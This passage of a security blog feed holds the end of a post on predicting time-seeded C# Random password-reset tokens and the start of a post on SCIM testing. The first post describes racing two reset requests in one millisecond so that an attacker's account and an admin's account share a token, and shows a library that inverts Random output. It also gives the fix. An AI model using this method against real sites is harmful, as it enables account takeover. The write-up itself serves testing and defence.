          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MBIG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;mj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;+(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)%&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&amp;lt;&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]+=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MBIG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;inext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;inextp&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Seed&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This whole system hinges on the 32 bit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Seed&lt;/code&gt;. This builds the internal state
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray[55]&lt;/code&gt;) with some ugly math. If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt; is initialized without an
argument, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Environment.TickCount&lt;/code&gt; is used as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Seed&lt;/code&gt;. All output of a PRNG
is determined by its seed. In this case, it’s the
&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.environment.tickcount?view=net-9.0&quot;&gt;TickCount&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;essentially just time. So you can think of this whole algorithm as 
emailing you the time, just with a very odd encoding.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In some sense, you can even submit a time to encode. You do this, not with a
URL parameter but by waiting. Wait for the right time and you get the encoding
you want. What time, or event, should we wait for?&lt;/p&gt;

&lt;h2 id=&quot;the-exploit&quot;&gt;The Exploit&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.random.-ctor?view=net-9.0&quot;&gt;documentation&lt;/a&gt; says it best.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In .NET Framework, the default seed value is derived from the system clock, which has finite resolution. As a result, different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt; objects that are created in close succession by a call to the parameterless constructor have identical default seed values and, therefore, produce identical sets of random numbers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If we submit two requests in the same 1ms window, we get the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Seed&lt;/code&gt;, same
seed same output, same reset token sent to two email addresses. One email we own
of course, the other belongs to an admin.&lt;/p&gt;

&lt;p&gt;How do we hit the 1ms window? We use the &lt;a href=&quot;https://portswigger.net/research/the-single-packet-attack-making-remote-race-conditions-local&quot;&gt;single packet attack&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Will it really work though?&lt;/p&gt;

&lt;h2 id=&quot;blackbox-methodology&quot;&gt;Blackbox Methodology&lt;/h2&gt;

&lt;p&gt;You don’t want to go spamming admins with reset emails before you even verify
the vulnerability. So make two accounts on the website that you control. While
you can do the attack with one account, it’s prone to false positives. You’re
sending two account resets in rapid succession. The second request may write a
different reset token to the DB before the email service reads the first,
resulting in a false positive.&lt;/p&gt;

&lt;p&gt;Use Burp’s repeater groups to perform the single packet attack to reset both
accounts. Check your email for duplicate tokens. If you fail, go on testing
other stuff until the lockout window dies. Then just hit send again, likely you
don’t need to worry about keeping a session token alive.&lt;/p&gt;

&lt;p&gt;Note: Burp displays round trip time in the lower-right corner of Repeater.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/csharp_prng_repeater_time.png&quot; alt=&quot;Route Trip Time of request 4 in Race group&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 650px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Keep an eye on that number. Each request has its own time. For me, it took
about 10 requests before I got a duplicate token. That only occurred when the
difference in round trip times was 1ms or less.&lt;/p&gt;

&lt;p&gt;When launching the actual exploit, the only way to check if your token matches
the victim account’s, is to log in. Login requests tend to be rate limited and
guarded. So first verify with testing accounts. Use that to obtain a delta time
window that works. Then, when launching the actual exploit, only attempt to log in
when the delta time is within your testing bounds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ah… I guess subtracting two times counts as math. Exploiting PRNG’s always
require math.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;

&lt;p&gt;This attack is not completely novel. I have seen similar attacks used in CTFs.
It’s a nice lesson on time though. We control time by
waiting, or not waiting. If a secret token is just an encoded time, you can
duplicate them by duplicating time.&lt;/p&gt;

&lt;p&gt;If you look into the .NET runtime enough, you can convince yourself this attack
won’t work. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt; has more then one implementation, the one my client should have used &lt;a href=&quot;https://github.com/dotnet/runtime/blob/6454b4c4b99c39fa896367a85a1367adc789a7c0/src/libraries/System.Private.CoreLib/src/System/Random.Xoshiro128StarStarImpl.cs#L38&quot;&gt;does not seed by
time&lt;/a&gt;.
I can even prove this with &lt;a href=&quot;https://dotnetfiddle.net/5xlOSj&quot;&gt;dotnetfiddle&lt;/a&gt;.
This is like the security version of “it works on my computer”. This is why we
test “secure” code and why we fuzz with random input. So try this exploit next
time you see a security token.&lt;/p&gt;

&lt;p&gt;This applies to more then just C#’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;. Consider Python’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uuid&lt;/code&gt;?
The &lt;a href=&quot;https://docs.python.org/3/library/uuid.html&quot;&gt;documentation&lt;/a&gt; warns of potential
collisions due to lack of “synchronization” depending on “underlying platform”,
unless &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeUUID&lt;/code&gt; is used. I wonder if the attack will work there? Only one way
to find out.&lt;/p&gt;

&lt;p&gt;The fix for weak PRNG vulnerabilities is always to check the documentation.
In this case you have to click the “Supplemental API remarks for Random.” in the “&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-9.0#remarks&quot;&gt;Remarks&lt;/a&gt;” section to get to the &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/fundamentals/runtime-libraries/system-random&quot;&gt;security info&lt;/a&gt; where it says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;To generate a cryptographically secure random number, such as one that’s suitable for creating a random password, use one of the static methods in the &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-9.0&quot;&gt;System.Security.Cryptography.RandomNumberGenerator&lt;/a&gt; class`.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So C# use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RandomNumberGenerator&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;bonus-cracking-cs-old-random-algorithm&quot;&gt;Bonus: Cracking C#’s Old Random Algorithm&lt;/h2&gt;

&lt;p&gt;Ahead is some math. It’s not too bad, but figured I would warn you. This is the
“hard” way to exploit this finding. I wrote a library that can predict the
output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random::Next&lt;/code&gt;. It can also invert it, to go back to the seed. Or you
can find the first output from the seventh output. None of this requires brute
force, just a single modular equation. The code can be found &lt;a href=&quot;https://github.com/doyensec/csharp_rand_py/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I intended this to be a fun weekend math project. Things got messed up when I
found collisions due to an int underflow.&lt;/p&gt;

&lt;h3 id=&quot;seeding-is-all-just-math&quot;&gt;Seeding Is All Just Math&lt;/h3&gt;

&lt;p&gt;Let’s look at the seed algorithm, but try to generalize what you see. The
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray[55]&lt;/code&gt; is obviously the internal state of the PRNG. This is built up
with “math”. If you look closely, &lt;em&gt;almost&lt;/em&gt; every time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray[i]&lt;/code&gt; is
assigned, it’s with a subtraction. Right afterward you always see a check, did
the subtraction results in a negative number? If so, add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MBIG&lt;/code&gt;. In other words,
all the subtraction is done mod &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MBIG&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MBIG&lt;/code&gt; value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Int32.MaxValue&lt;/code&gt;, aka 0x7fffffff, aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2^31 - 1&lt;/code&gt;. This is a
&lt;a href=&quot;https://en.wikipedia.org/wiki/Mersenne_prime&quot;&gt;Mersenne prime&lt;/a&gt;. Doing math, mod’ing
a prime results in what math people call a &lt;a href=&quot;https://en.wikipedia.org/wiki/Finite_field&quot;&gt;Galois field&lt;/a&gt;. 
We only say that because &lt;a href=&quot;https://en.wikipedia.org/wiki/%C3%89variste_Galois&quot;&gt;Évariste
Galois&lt;/a&gt; was so cool. A
Galois field is just a nice way of saying “we can do all the normal algebra
tricks we learned since middle school, even though this isn’t &lt;em&gt;normal&lt;/em&gt; math”.&lt;/p&gt;

&lt;p&gt;So, lets say &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray[i]&lt;/code&gt; is some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a*Seed + b mod MBIG&lt;/code&gt;. It gets changed in a
loop though by subtracting some other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c*Seed + d mod MBIG&lt;/code&gt;. We don’t need that
loop - algebra says to just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(a+c)*Seed + (b+d) Mod MBIG&lt;/code&gt;. By churning through
the loop doing algebra you can get every element of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray&lt;/code&gt; in the form
of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a*Seed + b mod MBIG&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Every time the PRNG is sampled, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random::InternalSample&lt;/code&gt; is called. That is
just another subtraction. The result is both returned and used to set some
element of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray&lt;/code&gt;. It’s just some equation again. It’s still in the Galois
field, it’s still just algebra and you can invert all of these equations. Given
one output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random::Next&lt;/code&gt; we can invert the corresponding equation and get
the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Seed&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But, we can do more too!&lt;/p&gt;

&lt;h3 id=&quot;csharp_randpy-library&quot;&gt;csharp_rand.py library&lt;/h3&gt;

&lt;p&gt;The library I made builds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray&lt;/code&gt; from these equations. It will output in
terms of these equations. Let’s get the equation that represents the first
output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt; for any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Seed&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from csharp_rand import csharp_rand
&amp;gt;&amp;gt;&amp;gt; cs = csharp_rand()
&amp;gt;&amp;gt;&amp;gt; first = cs.sample_equation(0)
&amp;gt;&amp;gt;&amp;gt; print(first)
rand = seed * 1121899819 + 1559595546 mod 2147483647
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This represents the first output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt; for any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seed&lt;/code&gt;. Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.resolve(42)&lt;/code&gt;
to get the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new Random(42).Next()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; first.resolve(42)
1434747710
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or invert and resolve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1434747710&lt;/code&gt; to find out what seed will produce
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1434747710&lt;/code&gt; for the first output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; first.invert().resolve(1434747710)
42
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This agrees with (&lt;a href=&quot;https://dotnetfiddle.net/8PROFM&quot;&gt;dotnetfiddle&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;See the
&lt;a href=&quot;https://github.com/doyensec/csharp_rand_py/blob/main/README.md&quot;&gt;readme&lt;/a&gt; for
more complicated examples.&lt;/p&gt;

&lt;h3 id=&quot;an-int-underflow-in-random&quot;&gt;An int Underflow in Random&lt;/h3&gt;

&lt;p&gt;Having just finished my library, I excitedly showed it to the first person who
would listen to me. Of course it failed. There must be a bug and of course I
blamed the original implementation. But since account takeover bugs don’t care
about my feelings, I fixed the code… mostly…&lt;/p&gt;

&lt;p&gt;In short, the original implementation has an int underflow which throws the
math equations off for certain seed values. Only certain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeedArray&lt;/code&gt; elements
are affected. For example, the following shows the first output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;
does not need any adjustment, but 13th output does.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(cs.sample_equation(0))
rand = seed * 1121899819 + 1559595546 mod 2147483647
&amp;gt;&amp;gt;&amp;gt; print(cs.sample_equation(12))
rand = seed * 1476289907 + 1358625013 mod 2147483647 underflow adjustment: -2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the 13th output will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seed * 1476289907 + 1358625013&lt;/code&gt;, unless the seed
causes an underflow, then it will be off by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-2&lt;/code&gt;. The code attempts to decide
if the overflow occurs itself. This works great until you invert things.&lt;/p&gt;

&lt;p&gt;Consider, what seed value will produce 908112456 as the 13th output of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random::Next&lt;/code&gt;?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; cs.sample_equation(12).invert().resolve2(908112456)
(619861032, 161844078)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both seeds, 619861032 and 161844078, will produce 908112456 on the 13th output
(&lt;a href=&quot;https://dotnetfiddle.net/LtMifN&quot;&gt;poc&lt;/a&gt;). Seed 619861032 does it the &lt;em&gt;proper&lt;/em&gt;
way, from the non-adjusted equation. Seed 619861032 gets there from the
underflow. This “collision” means there are exactly 2 seeds that produce the
same output. This means 908112456 is 2x more likely to occur on the 13th output
then the first. It also means there is no seed that will produce 908112458 on
the 13th output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;. A quick brute force produced some 80K+ other
“collision” just like this one.&lt;/p&gt;

&lt;h2 id=&quot;bonus-conclusion&quot;&gt;Bonus Conclusion&lt;/h2&gt;

&lt;p&gt;Sometimes the smart way is dumb. What started as a fun math thing ended up
feeling like &lt;em&gt;death by a thousand cuts&lt;/em&gt;. It’s better to version match and
language match your exploit and get it going fast. If it takes a long time,
start optimizing while it’s still running. But before you optimize, TEST! Test
everything! Otherwise you will run a brute force for hours and get nothing.
Why? well maybe &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random(Environment.TickCount)&lt;/code&gt; is not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random()&lt;/code&gt; because
explicitly seeding results in a different algorithm!
&lt;a href=&quot;https://dotnetfiddle.net/giZM4G&quot;&gt;Ugh…&lt;/a&gt;. I am going to go audit some more
endpoints…&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SCIM Hunting - Beyond SSO</title>
   <link href="https://blog.doyensec.com/2025/05/08/scim-hunting.html"/>
   <updated>2025-05-08T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2025/05/08/scim-hunting</id>
   <content type="html">&lt;style&gt;ol { list-style-type: decimal }&lt;/style&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Single Sign-On (SSO) related bugs have gotten an incredible amount of hype and a lot of amazing public disclosures in recent years. Just to cite a few examples:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html&quot; target=&quot;_blank&quot;&gt;Common OAuth Vulnerabilities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/&quot; target=&quot;_blank&quot;&gt;Sign in as anyone: Bypassing SAML SSO authentication with parser differentials&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/&quot; target=&quot;_blank&quot;&gt;Account hijacking using “dirty dancing” in sign-in OAuth-flows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And so on - there is a lot of gold out there.&lt;br /&gt;&lt;br /&gt;
Not surprisingly, systems using a custom implementation are the most affected since integrating SSO with a platform’s &lt;em&gt;User&lt;/em&gt; object model is not trivial.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;However, while SSO often takes center stage, another standard is often under-tested - &lt;strong&gt;SCIM (System for Cross-domain Identity Management)&lt;/strong&gt;. In this blogpost we will dive into its core aspects &amp;amp; the insecure design issues we often find while testing our clients’ implementations.&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/scim.png&quot; alt=&quot;SCIM&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 280px;&quot; /&gt;&lt;small&gt;&lt;i&gt;Classic AI Generated Placeholder Image&lt;/i&gt;&lt;/small&gt;&lt;/center&gt;
&lt;/p&gt;
&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#scim-101&quot;&gt;SCIM 101&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#core-components&quot;&gt;Core Components&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#what-about-the-implementations&quot;&gt;What about the implementations?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#mind-the-impact&quot;&gt;Mind The Impact&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hunting-for-bugs&quot;&gt;Hunting for Bugs&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#auth-bypasses&quot;&gt;Auth Bypasses&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#scim-token-management&quot;&gt;SCIM Token Management&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#unwanted-user-re-provisioning-fallbacks&quot;&gt;Unwanted User Re-provisioning Fallbacks&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#internal-attributes-manipulation&quot;&gt;Internal Attributes Manipulation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#verification-bypasses&quot;&gt;Verification Bypasses&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#account-takeover&quot;&gt;Account Takeover&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extra-focus-areas&quot;&gt;Extra Focus Areas&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#extra-checks-bypass-via-scim-ops-syntax&quot;&gt;Checks Bypass Via SCIM Ops Syntax&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#extra2-bulk-ops-order-evaluation&quot;&gt;Bulk Ops Order Evaluation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#json-interoperability&quot;&gt;JSON Interoperability&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusions&quot;&gt;Conclusions&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;scim-101&quot;&gt;SCIM 101&lt;/h2&gt;

&lt;p&gt;SCIM is a standard designed to automate the provisioning and deprovisioning of user accounts across systems, ensuring access consistency between the connected parts.&lt;/p&gt;

&lt;p&gt;The standard is defined in the following RFCs: &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7642&quot; target=&quot;_blank&quot;&gt;RFC7642&lt;/a&gt;, &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7644&quot; target=&quot;_blank&quot;&gt;RFC7644&lt;/a&gt;, &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7643&quot; target=&quot;_blank&quot;&gt;RFC7643&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;While it is &lt;strong&gt;not specifically designed to be an IdP-to-SP protocol&lt;/strong&gt;, rather a generic user pool syncing protocol for cloud environments, real-world scenarios mostly embed it in the IdP-SP relationship.&lt;/p&gt;

&lt;h4 id=&quot;core-components&quot;&gt;Core Components&lt;/h4&gt;

&lt;p&gt;To make a long story short, the standard defines a set of RESTful APIs exposed by the Service Providers (SP) which should be callable by other actors (mostly Identity Providers) to update the users pool.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../../../public/images/scim-diagram.png&quot; alt=&quot;Image 1&quot; width=&quot;35%&quot; style=&quot;display: inline-block; margin-right: 10px; max-width: 300px;&quot; /&gt;
  &lt;img src=&quot;../../../public/images/scim_resource_examples.png&quot; alt=&quot;Image 2&quot; width=&quot;60%&quot; style=&quot;display: inline-block;&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;It provides REST APIs with the following set of operations to edit the managed objects (see &lt;a href=&quot;https://scim.cloud/&quot; target=&quot;_blank&quot;&gt;scim.cloud&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Create&lt;/strong&gt;: POST &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Read&lt;/strong&gt;: GET &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}/{id}&lt;/code&gt;&lt;/li&gt;
